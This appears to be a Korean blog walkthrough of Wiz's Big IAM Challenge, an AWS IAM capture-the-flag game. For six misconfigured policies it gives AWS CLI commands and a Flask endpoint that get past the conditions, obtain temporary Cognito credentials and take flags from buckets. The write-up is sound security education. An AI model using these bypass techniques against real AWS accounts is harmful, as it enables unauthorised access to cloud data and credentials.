Security/Cloud

Big IAM Challenge(IAM Game) solutions #1~#6

Omoknooni 2024. 8. 1. 11:27

Big IAM Challenge

WIZ사에서 제작한 AWS IAM 기반 CTF

현재 공개된 문제는 6개로, 각 문제별로 문제를 풀 수 있는 브라우저 기반 쉘을 제공한다.

 

 

The Big IAM Challenge

Put yourself to the test with our unique CTF challenge and boost your AWS IAM knowledge. Do you have what it takes to win The Big IAM Challenge?

bigiamchallenge.com

 

Solution

#1

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                }
            }
        }
    ]
}

 

한 S3 버킷과 그 안의 object를 가져올 수 있는 policy가 정의되어있다. 해당 policy를 통해 버킷 이름과 path가 주어졌으므로 확인해 볼 수 있다. 

aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/

aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt -

 

그리고 문제 내용으로 보아 해당 버킷은 public인 것을 확인할 수 있다.

이 문제를 통해 public 버킷의 위험성을 설명해주고자 하는 의도로 파악된다.

 

#2

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": [
                "sqs:SendMessage",
                "sqs:ReceiveMessage"
            ],
            "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
        }
    ]
}

 

SQS 큐에 메시지를 넣고, 가져올 수 있는 권한에 대한 Policy임을 볼 수 있다.

해당 큐에서 메시지를 가져오면 flag를 획득 가능

# queue url을 완성시켜 SQS message를 receive
aws sqs receive-message 
--queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
{
    "Messages": [
        {
            "MessageId": "ad97cfe0-a381-4aec-8ae9-01978f5151f1",
            "ReceiptHandle": "AQEBsSIvp+HxWjLxbPEubsjX/kBrVDA3e2hhww/8gBddm8wK3FQ/vyZAGmXETHYFhlrzRh9KEG0IlprT/5fiYM6KrAs6g/u8+d03jdB+LeZxCij0NrzyJcJYHdd7
4oZ1032usADRpWTT4TZ0/tJM1SaF+PLYgZnlRA6NPSyGatx3/rd9q3V3Pj6w4j67A8jWuDHFvitLcaS5/LI0zhDZEX5NkRj0VvZ+wMBJqWdjGdT4HFDvGRjmTxRI9TfqJQ+hRzfAt45K7SZtuGlOBDb08R
U/oMmqTlO9kYvQLXUJbP/+jDZf35oSOzpPJwxI+Berg/ljBO75v0po7WBFKSQlFBfcu31qmOAzJ9duxE0yED0GvZ7MJgoxbS+sXQc83hDxqpwtsSI1Bd+1ki8G98EnNE2snPYq+IDO3XOWJUT3Is2KluQ=
",
            "MD5OfBody": "4cb94e2bb71dbd5de6372f7eaea5c3fd",
            "Body": "{\"URL\": \"https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html\", \"User-Agent\": \"Lynx/2.5329.3258dev.35046
 libwww-FM/2.14 SSL-MM/1.4.3714\", \"IsAdmin\": true}"
        }
    ]
}

# 전달받은 URL 접근 시 flag획득
{wiz:you-are-at-the-front-of-the-queue}

 

#3

{
    "Version": "2008-10-17",
    "Id": "Statement1",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "SNS:Subscribe",
            "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
            "Condition": {
                "StringLike": {
                    "sns:Endpoint": "*@tbic.wiz.io"
                }
            }
        }
    ]
}

 

특정 SNS Topic에 대해 subscribe할 수 있는 권한에 대한 Policy이다.

다만, subscribe 알림을 받을 Endpoint에 대해 조건이 붙어있는 것을 볼 수 있다.

 

Endpoint 조건을 보면 이메일로 특정 도메인에 대해서만 subscribe를 하도록 지정하려는 것으로 보인다.

하지만, SNS는 이메일뿐만 아니라 HTTP(S), Lambda, firehose 등의 프로토콜도 지원한다. 이 점을 이용해 Policy의 Endpoint 조건을 우회할 수 있다.

 

이 글에서는 위의 SNS Topic을 subscribe할 HTTP 엔드포인트를 만들고 subscribe 알림을 받도록 설계해본다.

간단하게 public IP가 연결된 EC2 인스턴스를 구축 후, SNS subscribe 알림을 받을 flask 웹 서버를 올려준다.

from flask import Flask, request, jsonify
import json
import requests

app = Flask(__name__)

@app.route('/')
def home():
    return "Hello, this is the SNS subscription endpoint."

@app.route('/sns', methods=['POST'])
def sns_endpoint():
    data = json.loads(request.data)
    
    # Subscription confirmation
    if 'Type' in data and data['Type'] == 'SubscriptionConfirmation':
        subscribe_url = data['SubscribeURL']
        
        # Subscription URL에 접근하여 구독 확인
        response = requests.get(subscribe_url)
        if response.status_code == 200:
            return jsonify({"message": "Subscription confirmed via URL"}), 200
        else:
            return jsonify({"message": "Failed to confirm subscription via URL"}), 500
    
    # Notification handling
    if 'Type' in data and data['Type'] == 'Notification':
        message = data['Message']
        
        # 여기서 메시지를 처리
        print(f"Received message: {message}")
        
        return jsonify({"message": "Notification received"}), 200

    return jsonify({"message": "Invalid message type"}), 400

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8080, debug=True)

 

그리고 이 서버를 Endpoint로 할 URL을 Policy의 Condition을 만족하도록 다음과 같이 작성해준다.

열린 Endpoint 웹서버와 subscribe할 topic을 지정해서 subscribe를 실행한다.

# Endpoint
http://[public ip]:[port]/sns?q=endpoint@tbic.wiz.io

# 구독
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \
--protocol http --notification-endpoint http://[public ip]:[port]/sns?q=endpoint@tbic.wiz.io

 

subscribe가 수행되면, Endpoint 웹 서버로 확인 메시지가 전달되고, 웹 서버는 확인 메시지 내의 Confirmation URL로 접근해 확정을 짓는다.

그렇게 subscribe 연결이 되면, 웹서버로 푸시 메시지가 전달된다.

 

#4

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                },
                "ForAllValues:StringLike": {
                    "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
                }
            }
        }
    ]
}

 

1번 문제와 동일하게 버킷에 대한 Policy이나 Condition이 하나 더 생긴 것을 볼 수 있다.

해당 Condition의 내용을 볼 필요가 있는데, ForAllValues는 조건 내의 list의 모든 요소가 특정 조건을 만족하는 지 확인하는데에 사용된다고 한다.

다만, ForAllValues는 요청에 해당 키가 없거나 키 값이 빈(null) 경우에도 true로 취급된다는 점이 존재한다.

 

단일 값 vs. 다중 값 컨텍스트 키 - AWS Identity and Access Management

단일 값 컨텍스트 키와 다중 값 컨텍스트 키의 차이는 정책 조건의 값 수가 아니라 요청 컨텍스트의 값 수에 따라 달라집니다.

docs.aws.amazon.com

 

그렇기에 우리는 버킷의 내용을 확인하기 위해 --no-sign-request 옵션을 사용해 Anonymous User로써 접근한다.

이를 통해 ForAllValues의 우회가 가능하며 버킷에 접근할 수 있는 것을 볼 수 있다.

 

#5

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "mobileanalytics:PutEvents",
                "cognito-sync:*"
            ],
            "Resource": "*"
        },
        {
            "Sid": "VisualEditor1",
            "Effect": "Allow",
            "Action": [
                "s3:GetObject",
                "s3:ListBucket"
            ],
            "Resource": [
                "arn:aws:s3:::wiz-privatefiles",
                "arn:aws:s3:::wiz-privatefiles/*"
            ]
        }
    ]
}

 

문제에 주어진 이미지 부분을 확인하면, cognito 관련 script를 발견할 수 있다.

private 버킷에 있는 해당 이미지를 Presigned-URL로 가져오기 위해 cognito로 인증을 하는 부분인 것을 알 수 있다.

credential 부분에서 Identity Pool ID를 확인할 수 있다. 

 

Identity Pool ID를 바탕으로 Identity ID를 가져올 수 있고, 이 Identity ID를 통해 단기 Credential을 발급받을 수 있다.

aws cognito-identity get-id \
--identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b --no-sign

aws cognito-identity get-credentials-for-identity \
--identity-id us-east-1:157d6171-eeeb-ca37-3032-549a5510ff8a --no-sign

 

그리고 발급받은 단기 Credential로 Private 버킷에 접근 후, flag를 탈취할 수 있다.

 

#6

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
                }
            }
        }
    ]
}

 

문제와 동시에 하나의 Role이 주어진다. 해당 Role의 Credential을 발급받아 버킷에 있는 flag를 탈취하는 목적으로 보인다.

주어진 Policy의 AssumeRoleWithWebIdentity는 Web Identity Provider로부터 인증을 받은 사용자에게 지정한 Role에 대한 단기 Credential을 발급해준다.

# Identity ID 확인
aws cognito-identity get-id \
--identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b --no-sign

# OpenID Token 발급 
aws cognito-identity get-open-id-token \
--identity-id us-east-1:157d6171-ee37-c46d-cf94-dfea8bf15228 --no-sign

# AssumeRoleWithWebIdentity
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role \
--role-session-name sessionName --web-identity-token [발급한 OpenID token]

 

이렇게 발급받은 단기 Credential로 assume-role 가능하며, 버킷의 flag를 탈취할 수 있다.

 

위와 같은 로직을 Identity pool basic authentication flow라고 한다. 

 

IAM roles - Amazon Cognito

IAM roles While creating an identity pool, you're prompted to update the IAM roles that your users assume. IAM roles work like this: When a user logs in to your app, Amazon Cognito generates temporary AWS credentials for the user. These temporary credentia

docs.aws.amazon.com